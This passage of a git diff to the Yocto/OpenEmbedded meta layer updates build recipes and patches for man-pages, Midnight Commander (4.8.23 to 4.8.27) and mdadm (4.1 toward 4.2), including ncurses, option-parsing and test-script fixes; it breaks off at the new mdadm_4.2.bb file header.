+SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "ed615e9a31978833f59e7316667b9aeffbbdb0a92d1391f9c66fadc6e77d0da8"
+
+inherit manpages
+
+MAN_PKG = "${PN}"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = ""
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ oe_runmake install prefix=${prefix} DESTDIR=${D}
+}
+
+# Only deliveres man-pages so FILES:${PN} gets everything
+FILES:${PN}-doc = ""
+FILES:${PN} = "${mandir}/*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "passwd.5 getspnam.3 crypt.3"
+ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
+ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
+ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch b/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch
new file mode 100644
index 0000000000..408473664f
--- /dev/null
+++ b/meta/recipes-extended/mc/files/0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch
@@ -0,0 +1,87 @@
+From e7bbf72544ab62db9c92bfe7bd1155227e78c621 Mon Sep 17 00:00:00 2001
+From: Andrew Borodin <aborodin@vmail.ru>
+Date: Sat, 28 Aug 2021 11:46:53 +0300
+Subject: [PATCH] Ticket #4200: fix FTBFS with ncurses build with
+ --disable-widec.
+
+Upstream-Status: Accepted [https://github.com/MidnightCommander/mc/commit/e7bbf72544]
+Signed-off-by: Andrew Borodin <aborodin@vmail.ru>
+---
+ lib/tty/tty-ncurses.c | 8 ++++++++
+ lib/tty/tty-ncurses.h | 5 +++++
+ lib/tty/tty-slang.h | 2 ++
+ src/filemanager/boxes.c | 2 ++
+ 4 files changed, 17 insertions(+)
+
+diff --git a/lib/tty/tty-ncurses.c b/lib/tty/tty-ncurses.c
+index f619c0a7bf31..13058a624208 100644
+--- a/lib/tty/tty-ncurses.c
++++ b/lib/tty/tty-ncurses.c
+@@ -560,6 +560,7 @@ tty_fill_region (int y, int x, int rows, int cols, unsigned char ch)
+ void
+ tty_colorize_area (int y, int x, int rows, int cols, int color)
+ {
++#ifdef ENABLE_SHADOWS
+ cchar_t *ctext;
+ wchar_t wch[10]; /* TODO not sure if the length is correct */
+ attr_t attrs;
+@@ -585,6 +586,13 @@ tty_colorize_area (int y, int x, int rows, int cols, int color)
+ }
+
+ g_free (ctext);
++#else
++ (void) y;
++ (void) x;
++ (void) rows;
++ (void) cols;
++ (void) color;
++#endif /* ENABLE_SHADOWS */
+ }
+
+ /* --------------------------------------------------------------------------------------------- */
+diff --git a/lib/tty/tty-ncurses.h b/lib/tty/tty-ncurses.h
+index d75df9533ab9..8feb17ccd045 100644
+--- a/lib/tty/tty-ncurses.h
++++ b/lib/tty/tty-ncurses.h
+@@ -30,6 +30,11 @@
+ #define NCURSES_CONST const
+ #endif
+
++/* do not draw shadows if NCurses is built with --disable-widec */
++#if defined(NCURSES_WIDECHAR) && NCURSES_WIDECHAR
++#define ENABLE_SHADOWS 1
++#endif
++
+ /*** typedefs(not structures) and defined constants **********************************************/
+
+ /*** enums ***************************************************************************************/
+diff --git a/lib/tty/tty-slang.h b/lib/tty/tty-slang.h
+index 5b12c6512853..eeaade388af4 100644
+--- a/lib/tty/tty-slang.h
++++ b/lib/tty/tty-slang.h
+@@ -23,6 +23,8 @@
+ #define COLS SLtt_Screen_Cols
+ #define LINES SLtt_Screen_Rows
+
++#define ENABLE_SHADOWS 1
++
+ /*** enums ***************************************************************************************/
+
+ enum
+diff --git a/src/filemanager/boxes.c b/src/filemanager/boxes.c
+index 3eb525be4a9b..98df5ff2ed9a 100644
+--- a/src/filemanager/boxes.c
++++ b/src/filemanager/boxes.c
+@@ -280,7 +280,9 @@ appearance_box_callback (Widget * w, Widget * sender, widget_msg_t msg, int parm
+ switch (msg)
+ {
+ case MSG_INIT:
++#ifdef ENABLE_SHADOWS
+ if (!tty_use_colors ())
++#endif
+ {
+ Widget *shadow;
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
new file mode 100644
index 0000000000..c01d065b0e
--- /dev/null
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -0,0 +1,33 @@
+From f02010965af21db018c4e108b2193c872406a314 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 4 Feb 2020 18:12:15 +0000
+Subject: [PATCH] mc: Fix manpage date indeterminism
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The man page date can vary depending upon the host perl, e.g. in Russian
+some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
+Rather than depend upon perl-native to fix this, just remove the date from
+the manpages.
+
+RP 2020/2/4
+
+Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ doc/man/date-of-man-include.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
+index 3a4e599..f11e9b3 100644
+--- a/doc/man/date-of-man-include.am
++++ b/doc/man/date-of-man-include.am
+@@ -1,5 +1,5 @@
+ SED_PARAMETERS = \
+- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
++ -e "s/%DATE_OF_MAN_PAGE%//g" \
+ -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
+ -e "s{%prefix%{@prefix@{g" \
+ -e "s{%sysconfdir%{@sysconfdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.23.bb b/meta/recipes-extended/mc/mc_4.8.23.bb
deleted file mode 100644
index 83de8dbb2c..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.23.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Midnight Commander is an ncurses based file manager"
-HOMEPAGE = "http://www.midnight-commander.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
-SECTION = "console/utils"
-DEPENDS = "ncurses glib-2.0 util-linux"
-RDEPENDS_${PN} = "ncurses-terminfo"
-
-SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
- file://0001-mc-replace-perl-w-with-use-warnings.patch \
- "
-SRC_URI[md5sum] = "152927ac29cf0e61d7d019f261bb7d89"
-SRC_URI[sha256sum] = "238c4552545dcf3065359bd50753abbb150c1b22ec5a36eaa02c82808293267d"
-
-inherit autotools gettext pkgconfig
-
-#
-# Both Samba (smb) and sftp require package delivered from meta-openembedded
-#
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
-PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
-
-EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
-
- rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
-}
-
-PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
-
-SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
-FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
- ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
- ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
- ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
- ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
- ${libexecdir}/mc/extfs.d/uzip"
-RDEPENDS_${BPN}-helpers-perl = "perl"
-
-SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
-FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
-
-SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
-FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.27.bb b/meta/recipes-extended/mc/mc_4.8.27.bb
new file mode 100644
index 0000000000..564599fdf6
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.27.bb
@@ -0,0 +1,63 @@
+SUMMARY = "Midnight Commander is an ncurses based file manager"
+HOMEPAGE = "http://www.midnight-commander.org/"
+DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
+SECTION = "console/utils"
+DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+RRECOMMENDS:${PN} = "ncurses-terminfo"
+
+SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
+ file://0001-mc-replace-perl-w-with-use-warnings.patch \
+ file://nomandate.patch \
+ file://0001-Ticket-4200-fix-FTBFS-with-ncurses-build-with-disabl.patch \
+ "
+SRC_URI[sha256sum] = "2f52dd9c75c20d8eac7701bd3a8c6c125aaf8cdd9cf12b78ca50a0102b543407"
+
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".2"
+
+inherit autotools gettext pkgconfig
+
+#
+# Both Samba (smb) and sftp require package delivered from meta-openembedded
+#
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
+PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
+
+# enable NCURSES_WIDECHAR=1 only if ENABLE_WIDEC has not been explicitly disabled (e.g. by the distro config).
+# When compiling against the ncurses library, NCURSES_WIDECHAR needs to explicitly set to 0 in this case.
+CFLAGS:append:libc-musl = "${@' -DNCURSES_WIDECHAR=1' if bb.utils.to_boolean((d.getVar('ENABLE_WIDEC') or 'True')) else ' -DNCURSES_WIDECHAR=0'}"
+EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
+EXTRANATIVEPATH += "file-native"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
+CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
+
+do_install:append () {
+ sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
+
+ rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
+}
+
+PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
+
+SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
+FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
+ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
+ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
+ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
+ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
+ ${libexecdir}/mc/extfs.d/uzip"
+RDEPENDS:${BPN}-helpers-perl = "perl"
+
+SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
+FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
+
+SUMMARY:${BPN}-fish = "Midnight Commander Fish scripts"
+FILES:${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch b/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
deleted file mode 100644
index 803a59b3ec..0000000000
--- a/meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From b273e892bd6aaafe448f84356abb78a6d463e784 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 7 Dec 2018 17:22:39 -0800
-Subject: [PATCH] Compute abs diff in a standard compliant way
-
-This make it a bit less implementation defined and silences clang
-warning -Wabsolute-value
-
-| super-intel.c:2822:20: error: taking the absolute value of unsigned type 'unsi
-gned long long' has no effect [-Werror,-Wabsolute-value]
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- super-intel.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/super-intel.c b/super-intel.c
-index 6438987..10d7218 100644
---- a/super-intel.c
-+++ b/super-intel.c
-@@ -2819,7 +2819,7 @@ static unsigned long long calc_component_size(struct imsm_map *map,
- * 2048 blocks per each device. If the difference is higher it means
- * that array size was expanded and num_data_stripes was not updated.
- */
-- if ((unsigned int)abs(calc_dev_size - dev_size) >
-+ if ((unsigned int)abs((int)calc_dev_size - (int)dev_size) >
- (1 << SECT_PER_MB_SHIFT) * member_disks) {
- component_size = dev_size / member_disks;
- dprintf("Invalid num_data_stripes in metadata; expected=%llu, found=%llu\n",
diff --git a/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch b/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch
new file mode 100644
index 0000000000..3fb46cc60a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Fix-parsing-of-r-in-monitor-manager-mode.patch
@@ -0,0 +1,74 @@
+From 969fbb35e40100f599d4a9781911251f21792698 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Thu, 27 Jan 2022 17:53:01 +0800
+Subject: [PATCH] Fix parsing of "-r" in monitor/manager mode
+
+This revert commit 546047688e1 [mdadm: fix coredump of mdadm --monitor
+-r], and fix the coredump issue of 'mdadm --monitor -r'.
+
+commit 546047688e1 make -r not work in manager mode, and testcase
+00multipath failed.
+
+Upstream-Status: Submitted [send to maintainer jsorensen@fb.com]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ ReadMe.c | 8 +++++---
+ mdadm.c | 2 ++
+ mdadm.h | 1 +
+ 3 files changed, 8 insertions(+), 3 deletions(-)
+
+diff --git a/ReadMe.c b/ReadMe.c
+index 8139976..070eea5 100644
+--- a/ReadMe.c
++++ b/ReadMe.c
+@@ -81,11 +81,13 @@ char Version[] = "mdadm - v" VERSION " - " VERS_DATE EXTRAVERSION "\n";
+ * found, it is started.
+ */
+
+-char short_options[]="-ABCDEFGIQhVXYWZ:vqbc:i:l:p:m:r:n:x:u:c:d:z:U:N:safRSow1tye:k";
++char short_options[]="-ABCDEFGIQhVXYWZ:vqbc:i:l:p:m:n:x:u:c:d:z:U:N:sarfRSow1tye:k:";
+ char short_bitmap_options[]=
+- "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:r:n:x:u:c:d:z:U:N:sarfRSow1tye:k:";
++ "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:n:x:u:c:d:z:U:N:sarfRSow1tye:k:";
+ char short_bitmap_auto_options[]=
+- "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:r:n:x:u:c:d:z:U:N:sa:rfRSow1tye:k:";
++ "-ABCDEFGIQhVXYWZ:vqb:c:i:l:p:m:n:x:u:c:d:z:U:N:sa:rfRSow1tye:k:";
++char short_increment_options[]=
++ "-ABCDEFGIQhVXYWZ:vqbc:i:l:r:p:m:n:x:u:c:d:z:U:N:safRSow1tye:k:";
+
+ struct option long_options[] = {
+ {"manage", 0, 0, ManageOpt},
+diff --git a/mdadm.c b/mdadm.c
+index 26299b2..2a3b2ee 100644
+--- a/mdadm.c
++++ b/mdadm.c
+@@ -227,6 +227,7 @@ int main(int argc, char *argv[])
+ shortopt = short_bitmap_auto_options;
+ break;
+ case 'F': newmode = MONITOR;
++ shortopt = short_increment_options;
+ break;
+ case 'G': newmode = GROW;
+ shortopt = short_bitmap_options;
+@@ -268,6 +269,7 @@ int main(int argc, char *argv[])
+
+ case NoSharing:
+ newmode = MONITOR;
++ shortopt = short_increment_options;
+ break;
+ }
+ if (mode && newmode == mode) {
+diff --git a/mdadm.h b/mdadm.h
+index ecfc137..42148dd 100644
+--- a/mdadm.h
++++ b/mdadm.h
+@@ -421,6 +421,7 @@ enum mode {
+ extern char short_options[];
+ extern char short_bitmap_options[];
+ extern char short_bitmap_auto_options[];
++extern char short_increment_options[];
+ extern struct option long_options[];
+ extern char Version[], Usage[], Help[], OptionHelp[],
+ *mode_help[],
diff --git a/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
new file mode 100644
index 0000000000..3f76ef54d8
--- /dev/null
+++ b/meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch
@@ -0,0 +1,30 @@
+From 97e776724ab9763c5bca9816370bb1635b7a8232 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 25 Jan 2022 16:25:01 +0800
+Subject: [PATCH] Makefile: install mdcheck
+
+The mdcheck_xxx.service files use mdcheck, but it's not installed.
+We need to install this script.
+
+Upstream-Status: Submitted [Sent patch to maintainer]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ Makefile | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/Makefile b/Makefile
+index 2a51d813..db40c7fd 100644
+--- a/Makefile
++++ b/Makefile
+@@ -303,6 +303,7 @@ install-systemd: systemd/mdmon@.service
+ install-bin: mdadm mdmon
+ $(INSTALL) -D $(STRIP) -m 755 mdadm $(DESTDIR)$(BINDIR)/mdadm
+ $(INSTALL) -D $(STRIP) -m 755 mdmon $(DESTDIR)$(BINDIR)/mdmon
++ $(INSTALL) -D -m 755 misc/mdcheck $(DESTDIR)/usr/share/mdadm/mdcheck
+
+ uninstall:
+ rm -f $(DESTDIR)$(MAN8DIR)/mdadm.8 $(DESTDIR)$(MAN8DIR)/mdmon.8 $(DESTDIR)$(MAN4DIR)/md.4 $(DESTDIR)$(MAN5DIR)/mdadm.conf.5 $(DESTDIR)$(BINDIR)/mdadm
+--
+2.17.1
+
diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
index b196084a5c..fb4bc165fb 100644
--- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
@@ -10,7 +10,7 @@ use the previous logic "check wait" which also used
commonly by other tests such as tests/02r5grow, tests/07revert-grow
and etc.
-Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2]
+Upstream-Status: Submitted [https://marc.info/?l=linux-raid&m=156317157314030&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
---
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
index 3a192cc95c..84517caade 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
@@ -17,7 +17,7 @@ done
"try" includes near 20 sub testcase, so there are nearly 80 subcases need to run,
so it will take long time than ptest-runner timeout limit, skip it as workaround.
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
index e66a15cd79..fa90647489 100644
--- a/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
+++ b/meta/recipes-extended/mdadm/files/debian-no-Werror.patch
@@ -1,5 +1,7 @@
-From: martin f. krafft <madduck@debian.org>
-Subject: Remove -Werror from compiler flags
+From adb75f0bdec97dbe4aa15cc988d349775f7995ff Mon Sep 17 00:00:00 2001
+From: "martin f. krafft" <madduck@debian.org>
+Date: Mon, 3 Jan 2022 19:14:12 +0000
+Subject: [PATCH] Remove -Werror from compiler flags
-Werror seems like a bad idea on released/packaged code because a toolchain
update (introducing new warnings) could break the build. We'll let upstream
@@ -8,15 +10,18 @@ use it to beautify the code, but remove it for out builds.
Signed-off-by: martin f. krafft <madduck@debian.org>
Upstream-Status: Pending
+
---
- Makefile | 2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/Makefile b/Makefile
+index 716c97c..40354ea 100644
--- a/Makefile
+++ b/Makefile
-@@ -48,7 +48,7 @@ endif
-
- CC ?= $(CROSS_COMPILE)gcc
+@@ -50,7 +50,7 @@ ifeq ($(origin CC),default)
+ CC := $(CROSS_COMPILE)gcc
+ endif
CXFLAGS ?= -ggdb
-CWFLAGS = -Wall -Werror -Wstrict-prototypes -Wextra -Wno-unused-parameter
+CWFLAGS = -Wall -Wstrict-prototypes -Wextra -Wno-unused-parameter
diff --git a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch b/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
deleted file mode 100644
index 8e2a8a9043..0000000000
--- a/meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From 911f6ea9be0c334885aeff66853b111cbd4066df Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 10 Feb 2016 17:28:05 +0200
-Subject: [PATCH] mdadm-fix-ptest-build-errors
-
-builds fail with ptest enabled:
-
-| restripe.c: In function 'test_stripes':
-| restripe.c:845:4: error: ignoring return value of 'read', declared with
-| attribute warn_unused_result [-Werror=unused-result]
-| read(source[i], stripes[i], chunk_size);
-| ^
-| cc1: all warnings being treated as errors
-| Makefile:214: recipe for target 'test_stripe' failed
-
-Upstream-Status: Pending
-
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
-
----
- restripe.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/restripe.c b/restripe.c
-index 31b07e8..592ba5d 100644
---- a/restripe.c
-+++ b/restripe.c
-@@ -864,10 +864,14 @@ int test_stripes(int *source, unsigned long long *offsets,
-
- while (length > 0) {
- int disk;
-+ ssize_t ret;
-
- for (i = 0 ; i < raid_disks ; i++) {
- lseek64(source[i], offsets[i]+start, 0);
-- read(source[i], stripes[i], chunk_size);
-+ ret = read(source[i], stripes[i], chunk_size);
-+ if (ret == -1) {
-+ printf("Read Failed\n");
-+ }
- }
- for (i = 0 ; i < data_disks ; i++) {
- int disk = geo_map(i, start/chunk_size, raid_disks,
diff --git a/meta/recipes-extended/mdadm/files/run-ptest b/meta/recipes-extended/mdadm/files/run-ptest
index e4a9c2b08b..fae8071d43 100644
--- a/meta/recipes-extended/mdadm/files/run-ptest
+++ b/meta/recipes-extended/mdadm/files/run-ptest
@@ -1,4 +1,7 @@
#!/bin/sh
+mkdir -p /mdadm-testing-dir
# make the test continue to execute even one fail
-./test --keep-going
+dir=. ./test --keep-going --disable-integrity
+
+rm -rf /mdadm-testing-dir/*
diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.1.bb
deleted file mode 100644
index 64f519e750..0000000000
--- a/meta/recipes-extended/mdadm/mdadm_4.1.bb
+++ /dev/null
@@ -1,106 +0,0 @@
-SUMMARY = "Tool for managing software RAID under Linux"
-HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
-
-# Some files are GPLv2+ while others are GPLv2.
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://mdmon.c;beginline=4;endline=18;md5=af7d8444d9c4d3e5c7caac0d9d34039d \
- file://mdadm.h;beglinlne=4;endline=22;md5=462bc9936ac0d3da110191a3f9994161"
-
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/raid/mdadm/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://mdadm-3.3.2_x32_abi_time_t.patch \
- file://mdadm-fix-ptest-build-errors.patch \
- file://0001-mdadm.h-Undefine-dprintf-before-redefining.patch \
- file://0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch \
- file://0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch \
- file://0001-Compute-abs-diff-in-a-standard-compliant-way.patch \
- file://0001-fix-gcc-8-format-truncation-warning.patch \
- file://debian-no-Werror.patch \
- file://0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch \
- file://mdadm.init \
- file://0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch \
- file://include_sysmacros.patch \
- file://0001-mdadm-skip-test-11spare-migration.patch \
- "
-
-SRC_URI[md5sum] = "51bf3651bd73a06c413a2f964f299598"
-SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1934f4a"
-
-inherit autotools-brokensep ptest systemd
-
-SYSTEMD_SERVICE_${PN} = "mdmonitor.service mdmon@.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member"
-
-# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
-# prevents 64-bit userland from seeing this definition, instead defaulting
-# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
-# int-ll64.h included
-CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
-
-EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \
- BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"'
-
-DEBUG_OPTIMIZATION_append = " -Wno-error"
-
-do_compile() {
- oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
-}
-
-do_install() {
- export STRIP=""
- autotools_do_install
-}
-
-do_install_append() {
- install -d ${D}/${sysconfdir}/
- install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
- install -d ${D}/${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
-}
-
-do_install_append() {
- oe_runmake install-systemd DESTDIR=${D}
-}
-
-do_compile_ptest() {
- oe_runmake test
-}
-
-do_install_ptest() {
- cp -R --no-dereference --preserve=mode,links -v ${S}/tests ${D}${PTEST_PATH}/tests
- cp ${S}/test ${D}${PTEST_PATH}
- sed -e 's!sleep 0.*!sleep 1!g; s!/var/tmp!/!g' -i ${D}${PTEST_PATH}/test
- sed -i -e '/echo -ne "$_script... "/d' \
- -e 's/echo "succeeded"/echo -e "PASS: $_script"/g' \
- -e '/save_log fail/N; /_fail=1/i\\t\t\techo -ne "FAIL: $_script"' \
- -e '/die "dmesg prints errors when testing $_basename!"/i\\t\t\t\techo -ne "FAIL: $_script" &&' \
- ${D}${PTEST_PATH}/test
-
- chmod +x ${D}${PTEST_PATH}/test
-
- ln -s ${base_sbindir}/mdadm ${D}${PTEST_PATH}/mdadm
- for prg in test_stripe swap_super raid6check
- do
- install -D -m 755 $prg ${D}${PTEST_PATH}/
- done
-}
-
-RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs"
-RRECOMMENDS_${PN}-ptest += " \
- coreutils \
- util-linux \
- kernel-module-loop \
- kernel-module-linear \
- kernel-module-raid0 \
- kernel-module-raid1 \
- kernel-module-raid10 \
- kernel-module-raid456 \
-"
-
-FILES_${PN} += "${systemd_unitdir}/*"
diff --git a/meta/recipes-extended/mdadm/mdadm_4.2.bb b/meta/recipes-extended/mdadm/mdadm_4.2.bb
new file mode 100644
index 0000000000..1c2fc8c37a
--- /dev/null
+++ b/meta/recipes-extended/mdadm/mdadm_4.2.bb
